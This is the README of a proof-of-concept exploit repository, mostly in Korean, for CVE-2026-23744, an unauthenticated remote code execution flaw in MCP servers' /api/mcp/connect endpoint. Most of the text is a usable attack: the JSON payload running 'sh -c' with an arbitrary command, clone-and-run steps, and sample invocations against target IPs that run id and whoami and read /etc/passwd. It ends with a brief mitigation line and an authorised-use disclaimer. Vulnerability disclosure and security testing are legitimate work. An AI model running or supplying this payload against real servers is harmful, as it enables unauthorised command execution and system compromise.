
Python PoC for CVE-2026-23744, unauthenticated RCE in MCP servers via the /api/mcp/connect serverConfig command field (default port 6274)
작성자: d3vn0mi의 개념 증명 익스플로잇
CVE-2026-23744은 포트 6274에 노출된 MCP 호환 서버에서 발생하는 인증 없는 원격 코드 실행(RCE) 취약점입니다. /api/mcp/connect 엔드포인트는 호출자가 임의의 OS 명령과 인자를 지정할 수 있는 serverConfig 객체를 허용하며, 인증이나 권한 검사가 전혀 수행되지 않습니다.
서비스에 네트워크로 접근할 수 있는 공격자는 MCP 서버를 실행 중인 사용자의 권한으로 임의의 명령을 실행할 수 있습니다.
| 세부 정보 | 값 |
|---|---|
| CVE ID | CVE-2026-23744 |
| 유형 | 인증 없는 원격 코드 실행 |
| 엔드포인트 | POST /api/mcp/connect |
| 포트 | 6274 (기본값) |
| 심각도 | 치명적(Critical) |
{
"serverConfig": {
"command": "sh",
"args": ["-c", "<ATTACKER_COMMAND>"],
"env": {}
},
"serverId": "anything"
}
서버는 제공된 command를 주어진 args와 함께 위생 처리나 접근 제어 없이 실행합니다.
git clone https://github.com/d3vn0mi/CVE-2026-23744-POC.git
cd CVE-2026-23744-POC
pip install -r requirements.txt
# 기본 사용법
python3 exploit.py -t <TARGET_IP> -c '<COMMAND>'
# 사용자 지정 포트
python3 exploit.py -t 192.168.1.10 -p 6274 -c 'id > /tmp/pwned.txt'
# 연결 가능성 검사 건너뛰기
python3 exploit.py -t 10.0.0.5 -c 'whoami' --no-check
# 사용자 지정 서버 ID
python3 exploit.py -t 127.0.0.1 -c 'cat /etc/passwd' -s my_server
| 플래그 | 설명 |
|---|---|
-t, --target | 대상 IP 또는 호스트명 (필수) |
-c, --command | 실행할 OS 명령 (필수) |
-p, --port | 대상 포트 (기본값: 6274) |
-s, --server-id | 페이로드의 serverId 값 |
--timeout | 프로브 타임아웃(초) (기본값: 30) |
--no-check | 초기 연결 가능성 검사 건너뛰기 |
/api/mcp/connect 엔드포인트에 대한 접근을 제한하십시오.이 도구는 공인된 보안 테스트 및 교육 목적으로만 제공됩니다. 컴퓨터 시스템에 대한 무단 접근은 불법입니다. 작성자는 오용에 대해 어떠한 책임도 지지 않습니다. 테스트 전에 항상 적절한 승인을 받으십시오.
이 프로젝트는 MIT 라이선스에 따라 라이선스가 부여됩니다.
d3vn0mi — github.com/d3vn0mi